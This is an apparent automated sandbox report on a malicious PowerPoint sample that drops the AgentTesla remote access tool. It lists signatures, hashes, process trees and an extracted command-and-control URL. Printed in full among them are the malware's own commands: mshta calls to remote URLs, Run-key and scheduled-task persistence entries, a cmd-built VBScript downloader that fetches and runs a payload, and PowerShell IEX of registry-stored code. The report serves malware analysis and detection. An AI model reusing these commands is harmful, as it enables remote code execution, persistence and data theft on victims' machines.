Analysis
-
max time kernel
75s -
max time network
150s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
05-03-2021 10:32
Static task
static1
Behavioral task
behavioral1
Sample
sample_.ppt
Resource
win7v20201028
Behavioral task
behavioral2
Sample
sample_.ppt
Resource
win10v20201028
General
-
Target
sample_.ppt
-
Size
225KB
-
MD5
9cf2b594c4e731c42a98cd29eff24691
-
SHA1
3bb1e6523e6eee97e694cc0b3c557ecd6f954077
-
SHA256
d0f2cb812f55b2091f4df2b6a5e69e420c7ccc3ad7378e85d7c3e24066d78a50
-
SHA512
6e1175baf005f6c9d1d35edde84b641f63ef80b58d6bf5d75c35abe8664f5935474133c02a3b04dc760e8269d04739418e31fe332f79c8f5305ea0c9137937be
Malware Config
Extracted
agenttesla
http://103.133.105.179/3535/inc/e93cc142f47fdc.php
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
MSHTA.exeping.exeping.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1776 496 MSHTA.exe POWERPNT.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 3892 496 ping.exe POWERPNT.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 4252 496 ping.exe POWERPNT.EXE -
AgentTesla Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4892-86-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla behavioral2/memory/4892-87-0x0000000000437D9E-mapping.dmp family_agenttesla -
Blocklisted process makes network request 15 IoCs
Processes:
MSHTA.exeWScript.exePowershell.exeflow pid process 31 1776 MSHTA.exe 33 1776 MSHTA.exe 35 1776 MSHTA.exe 37 1776 MSHTA.exe 38 1776 MSHTA.exe 40 1776 MSHTA.exe 43 1776 MSHTA.exe 45 1776 MSHTA.exe 47 1776 MSHTA.exe 49 1776 MSHTA.exe 51 1776 MSHTA.exe 52 1776 MSHTA.exe 54 3900 WScript.exe 56 3900 WScript.exe 61 1284 Powershell.exe -
Adds Run key to start application 2 TTPs 6 IoCs
Processes:
MSHTA.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta http://1230948%1230948@bublicamukajuka.blogspot.com/p/14.html\"\", 0 : window.close\")" MSHTA.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta http://1230948%1230948@titupatiyannala-myrynaal.blogspot.com/p/14.html\"\", 0 : window.close\")" MSHTA.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta http://1230948%1230948@papagunnakjllidmc.blogspot.com/p/14.html\"\", 0 : window.close\")" MSHTA.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\phulihoja = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).btfee)|IEX\"\", 0 : window.close\")" MSHTA.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run MSHTA.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\phulihoja = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).cutona)|IEX\"\", 0 : window.close\")" MSHTA.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Powershell.exedescription pid process target process PID 1284 set thread context of 4892 1284 Powershell.exe jsc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4328 1776 WerFault.exe MSHTA.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
winword.exePOWERPNT.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz winword.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString winword.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 winword.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 6 IoCs
Processes:
winword.exePOWERPNT.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU winword.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS winword.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily winword.exe -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 2860 taskkill.exe 764 taskkill.exe -
Modifies registry class 1 IoCs
Processes:
cmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
POWERPNT.EXEwinword.exepid process 496 POWERPNT.EXE 3896 winword.exe -
Suspicious behavior: EnumeratesProcesses 24 IoCs
Processes:
WerFault.exePowershell.exePowershell.exejsc.exepid process 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 4328 WerFault.exe 1284 Powershell.exe 1232 Powershell.exe 1232 Powershell.exe 1284 Powershell.exe 1284 Powershell.exe 1232 Powershell.exe 4892 jsc.exe 4892 jsc.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
taskkill.exetaskkill.exeWerFault.exePowershell.exePowershell.exedescription pid process Token: SeDebugPrivilege 2860 taskkill.exe Token: SeDebugPrivilege 764 taskkill.exe Token: SeDebugPrivilege 4328 WerFault.exe Token: SeDebugPrivilege 1232 Powershell.exe Token: SeDebugPrivilege 1284 Powershell.exe Token: SeIncreaseQuotaPrivilege 1232 Powershell.exe Token: SeIncreaseQuotaPrivilege 1284 Powershell.exe Token: SeSecurityPrivilege 1232 Powershell.exe Token: SeSecurityPrivilege 1284 Powershell.exe Token: SeTakeOwnershipPrivilege 1232 Powershell.exe Token: SeTakeOwnershipPrivilege 1284 Powershell.exe Token: SeLoadDriverPrivilege 1232 Powershell.exe Token: SeLoadDriverPrivilege 1284 Powershell.exe Token: SeSystemProfilePrivilege 1232 Powershell.exe Token: SeSystemProfilePrivilege 1284 Powershell.exe Token: SeSystemtimePrivilege 1232 Powershell.exe Token: SeSystemtimePrivilege 1284 Powershell.exe Token: SeProfSingleProcessPrivilege 1232 Powershell.exe Token: SeProfSingleProcessPrivilege 1284 Powershell.exe Token: SeIncBasePriorityPrivilege 1232 Powershell.exe Token: SeCreatePagefilePrivilege 1232 Powershell.exe Token: SeIncBasePriorityPrivilege 1284 Powershell.exe Token: SeBackupPrivilege 1232 Powershell.exe Token: SeCreatePagefilePrivilege 1284 Powershell.exe Token: SeRestorePrivilege 1232 Powershell.exe Token: SeBackupPrivilege 1284 Powershell.exe Token: SeShutdownPrivilege 1232 Powershell.exe Token: SeRestorePrivilege 1284 Powershell.exe Token: SeDebugPrivilege 1232 Powershell.exe Token: SeShutdownPrivilege 1284 Powershell.exe Token: SeSystemEnvironmentPrivilege 1232 Powershell.exe Token: SeDebugPrivilege 1284 Powershell.exe Token: SeRemoteShutdownPrivilege 1232 Powershell.exe Token: SeSystemEnvironmentPrivilege 1284 Powershell.exe Token: SeUndockPrivilege 1232 Powershell.exe Token: SeRemoteShutdownPrivilege 1284 Powershell.exe Token: SeUndockPrivilege 1284 Powershell.exe Token: SeManageVolumePrivilege 1232 Powershell.exe Token: SeManageVolumePrivilege 1284 Powershell.exe Token: 33 1232 Powershell.exe Token: 33 1284 Powershell.exe Token: 34 1232 Powershell.exe Token: 34 1284 Powershell.exe Token: 35 1232 Powershell.exe Token: 35 1284 Powershell.exe Token: 36 1232 Powershell.exe Token: 36 1284 Powershell.exe Token: SeIncreaseQuotaPrivilege 1284 Powershell.exe Token: SeSecurityPrivilege 1284 Powershell.exe Token: SeTakeOwnershipPrivilege 1284 Powershell.exe Token: SeLoadDriverPrivilege 1284 Powershell.exe Token: SeSystemProfilePrivilege 1284 Powershell.exe Token: SeSystemtimePrivilege 1284 Powershell.exe Token: SeProfSingleProcessPrivilege 1284 Powershell.exe Token: SeIncBasePriorityPrivilege 1284 Powershell.exe Token: SeCreatePagefilePrivilege 1284 Powershell.exe Token: SeBackupPrivilege 1284 Powershell.exe Token: SeRestorePrivilege 1284 Powershell.exe Token: SeShutdownPrivilege 1284 Powershell.exe Token: SeDebugPrivilege 1284 Powershell.exe Token: SeSystemEnvironmentPrivilege 1284 Powershell.exe Token: SeRemoteShutdownPrivilege 1284 Powershell.exe Token: SeUndockPrivilege 1284 Powershell.exe Token: SeManageVolumePrivilege 1284 Powershell.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
POWERPNT.EXEwinword.exepid process 496 POWERPNT.EXE 496 POWERPNT.EXE 496 POWERPNT.EXE 3896 winword.exe 3896 winword.exe 3896 winword.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
POWERPNT.EXEMSHTA.execmd.exePowershell.exedescription pid process target process PID 496 wrote to memory of 1776 496 POWERPNT.EXE MSHTA.exe PID 496 wrote to memory of 1776 496 POWERPNT.EXE MSHTA.exe PID 496 wrote to memory of 3892 496 POWERPNT.EXE ping.exe PID 496 wrote to memory of 3892 496 POWERPNT.EXE ping.exe PID 496 wrote to memory of 3896 496 POWERPNT.EXE winword.exe PID 496 wrote to memory of 3896 496 POWERPNT.EXE winword.exe PID 1776 wrote to memory of 2148 1776 MSHTA.exe cmd.exe PID 1776 wrote to memory of 2148 1776 MSHTA.exe cmd.exe PID 2148 wrote to memory of 3900 2148 cmd.exe WScript.exe PID 2148 wrote to memory of 3900 2148 cmd.exe WScript.exe PID 1776 wrote to memory of 1404 1776 MSHTA.exe schtasks.exe PID 1776 wrote to memory of 1404 1776 MSHTA.exe schtasks.exe PID 1776 wrote to memory of 1284 1776 MSHTA.exe Powershell.exe PID 1776 wrote to memory of 1284 1776 MSHTA.exe Powershell.exe PID 1776 wrote to memory of 1284 1776 MSHTA.exe Powershell.exe PID 1776 wrote to memory of 1232 1776 MSHTA.exe Powershell.exe PID 1776 wrote to memory of 1232 1776 MSHTA.exe Powershell.exe PID 1776 wrote to memory of 1232 1776 MSHTA.exe Powershell.exe PID 1776 wrote to memory of 2860 1776 MSHTA.exe taskkill.exe PID 1776 wrote to memory of 2860 1776 MSHTA.exe taskkill.exe PID 1776 wrote to memory of 764 1776 MSHTA.exe taskkill.exe PID 1776 wrote to memory of 764 1776 MSHTA.exe taskkill.exe PID 496 wrote to memory of 4252 496 POWERPNT.EXE ping.exe PID 496 wrote to memory of 4252 496 POWERPNT.EXE ping.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe PID 1284 wrote to memory of 4892 1284 Powershell.exe jsc.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\sample_.ppt" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\MSHTA.exeMSHTA http://12384928198391823%12384928198391823@j.mp/dokdwkkwkdwkdcnduskdkwk2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW.vbs &@echo set stream_obj = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo set shell_obj = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo URL = "https://ia801408.us.archive.org/25/items/defender_202103/defender.txt" >>SiggiaW.vbs &@echo http_obj.open "GET", URL, False >>SiggiaW.vbs &@echo http_obj.send >>SiggiaW.vbs &@echo stream_obj.type = 1 >>SiggiaW.vbs &@echo stream_obj.open >>SiggiaW.vbs &@echo stream_obj.write http_obj.responseBody >>SiggiaW.vbs &@echo stream_obj.savetofile "C:\Users\Public\1.txt", 2 >>SiggiaW.vbs &@echo Dim xxx >>SiggiaW.vbs &@echo Set xxx = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set file = xxx.OpenTextFile("C:\Users\Public\FIX.VBS", 1) >>SiggiaW.vbs &@echo content = file.ReadAll >>SiggiaW.vbs &@echo content = StrReverse(content) >>SiggiaW.vbs &@echo Dim fso >>SiggiaW.vbs &@echo Dim fdsafdsa >>SiggiaW.vbs &@echo Dim oNode, fdsaa >>SiggiaW.vbs &@echo Const adTypeBinary = 1 >>SiggiaW.vbs &@echo Const adSaveCreateOverWrite = 2 >>SiggiaW.vbs &@echo Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") >>SiggiaW.vbs &@echo oNode.dataType = "bin.base64" >>SiggiaW.vbs &@echo oNode.Text = content >>SiggiaW.vbs &@echo Set fdsaa = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo fdsaa.Type = adTypeBinary >>SiggiaW.vbs &@echo tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\bin.vbs") >>SiggiaW.vbs &@echo LocalFile = tempdir >>SiggiaW.vbs &@echo fdsaa.Open >>SiggiaW.vbs &@echo fdsaa.Write oNode.nodeTypedValue >>SiggiaW.vbs &@echo fdsaa.SaveToFile LocalFile, adSaveCreateOverWrite >>SiggiaW.vbs &@echo Set fso = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set fdsafdsa = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo If (fso.FileExists(LocalFile)) Then >>SiggiaW.vbs &@echo fdsafdsa.RUN (LocalFile) >>SiggiaW.vbs &@echo End If>>SiggiaW.vbs& SiggiaW.vbs &dEl SiggiaW.vbs3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\SiggiaW.vbs"4⤵
- Blocklisted process makes network request
-
C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe"C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit ((gp HKCU:\Software).cutona)|IEX3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@mylundisfarbigthenyouthink.blogspot.com/p/14.html""\"", 0 : window.close"\")3⤵
- Creates scheduled task(s)
-
C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe"C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit ((gp HKCU:\Software).btfee)|IEX3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im winword.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im Excel.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1776 -s 29203⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\ping.exeping2⤵
- Process spawned unexpected child process
- Runs ping.exe
-
C:\Program Files\Microsoft Office\Root\Office16\winword.exewinword2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\ping.exeping 127.0.0.12⤵
- Process spawned unexpected child process
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\SiggiaW.vbsMD5
49744d1b597f85a2691eeeccab3f5ec9
SHA153be659955bdf552d103ddd2251f97920c4830bd
SHA25609af8affea2e91779fc5bd8e45c8eb4274f6cb0fe78cb96c77586f988958fb6f
SHA5127d6036c802670bca691b26e3f22badfce85641354d67d460d38ff26edef248bcc6a51bf81406b11f2b6972525f8af6dfdcc26f298438280d001b03292f767e3f
-
memory/496-2-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-3-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-4-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-5-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-6-0x00007FF801480000-0x00007FF801AB7000-memory.dmpFilesize
6.2MB
-
memory/496-40-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-39-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-38-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-37-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/496-28-0x00007FF801AC0000-0x00007FF80369D000-memory.dmpFilesize
27.9MB
-
memory/764-21-0x0000000000000000-mapping.dmp
-
memory/1232-41-0x0000000007460000-0x0000000007461000-memory.dmpFilesize
4KB
-
memory/1232-67-0x000000000A640000-0x000000000A641000-memory.dmpFilesize
4KB
-
memory/1232-65-0x000000000B330000-0x000000000B331000-memory.dmpFilesize
4KB
-
memory/1232-63-0x000000000A7B0000-0x000000000A7B1000-memory.dmpFilesize
4KB
-
memory/1232-61-0x000000000A280000-0x000000000A281000-memory.dmpFilesize
4KB
-
memory/1232-59-0x0000000009F70000-0x0000000009F71000-memory.dmpFilesize
4KB
-
memory/1232-57-0x000000000A1E0000-0x000000000A1E1000-memory.dmpFilesize
4KB
-
memory/1232-26-0x0000000073DC0000-0x00000000744AE000-memory.dmpFilesize
6.9MB
-
memory/1232-56-0x00000000093F0000-0x00000000093F1000-memory.dmpFilesize
4KB
-
memory/1232-31-0x0000000003250000-0x0000000003251000-memory.dmpFilesize
4KB
-
memory/1232-53-0x0000000008870000-0x0000000008871000-memory.dmpFilesize
4KB
-
memory/1232-51-0x0000000008430000-0x0000000008431000-memory.dmpFilesize
4KB
-
memory/1232-33-0x0000000007530000-0x0000000007531000-memory.dmpFilesize
4KB
-
memory/1232-19-0x0000000000000000-mapping.dmp
-
memory/1232-35-0x0000000003252000-0x0000000003253000-memory.dmpFilesize
4KB
-
memory/1232-45-0x0000000007DA0000-0x0000000007DA1000-memory.dmpFilesize
4KB
-
memory/1232-43-0x0000000007C50000-0x0000000007C51000-memory.dmpFilesize
4KB
-
memory/1284-47-0x0000000008190000-0x0000000008191000-memory.dmpFilesize
4KB
-
memory/1284-68-0x00000000050D3000-0x00000000050D4000-memory.dmpFilesize
4KB
-
memory/1284-85-0x000000000A700000-0x000000000A706000-memory.dmpFilesize
24KB
-
memory/1284-83-0x000000000B090000-0x000000000B091000-memory.dmpFilesize
4KB
-
memory/1284-81-0x000000000B0A0000-0x000000000B0A1000-memory.dmpFilesize
4KB
-
memory/1284-36-0x00000000050D2000-0x00000000050D3000-memory.dmpFilesize
4KB
-
memory/1284-80-0x000000007F030000-0x000000007F031000-memory.dmpFilesize
4KB
-
memory/1284-49-0x0000000007410000-0x0000000007411000-memory.dmpFilesize
4KB
-
memory/1284-32-0x00000000050D0000-0x00000000050D1000-memory.dmpFilesize
4KB
-
memory/1284-29-0x00000000050E0000-0x00000000050E1000-memory.dmpFilesize
4KB
-
memory/1284-27-0x0000000073DC0000-0x00000000744AE000-memory.dmpFilesize
6.9MB
-
memory/1284-79-0x000000000AFD0000-0x000000000AFD1000-memory.dmpFilesize
4KB
-
memory/1284-78-0x000000000A700000-0x000000000A701000-memory.dmpFilesize
4KB
-
memory/1284-70-0x000000000A830000-0x000000000A863000-memory.dmpFilesize
204KB
-
memory/1284-18-0x0000000000000000-mapping.dmp
-
memory/1404-16-0x0000000000000000-mapping.dmp
-
memory/1776-7-0x0000000000000000-mapping.dmp
-
memory/2148-15-0x0000000000000000-mapping.dmp
-
memory/2860-20-0x0000000000000000-mapping.dmp
-
memory/3892-8-0x0000000000000000-mapping.dmp
-
memory/3896-9-0x0000000000000000-mapping.dmp
-
memory/3896-14-0x00007FF801480000-0x00007FF801AB7000-memory.dmpFilesize
6.2MB
-
memory/3900-17-0x0000000000000000-mapping.dmp
-
memory/4252-23-0x0000000000000000-mapping.dmp
-
memory/4328-24-0x0000022A74ED0000-0x0000022A74ED1000-memory.dmpFilesize
4KB
-
memory/4892-86-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
-
memory/4892-87-0x0000000000437D9E-mapping.dmp
-
memory/4892-88-0x0000000073DC0000-0x00000000744AE000-memory.dmpFilesize
6.9MB
-
memory/4892-92-0x0000000004F90000-0x0000000004F91000-memory.dmpFilesize
4KB
-
memory/4892-93-0x0000000004EA0000-0x0000000004EA1000-memory.dmpFilesize
4KB
-
memory/4892-94-0x0000000005B80000-0x0000000005B81000-memory.dmpFilesize
4KB
-
memory/4892-97-0x0000000002930000-0x0000000002931000-memory.dmpFilesize
4KB
-
memory/4892-98-0x0000000004EA1000-0x0000000004EA2000-memory.dmpFilesize
4KB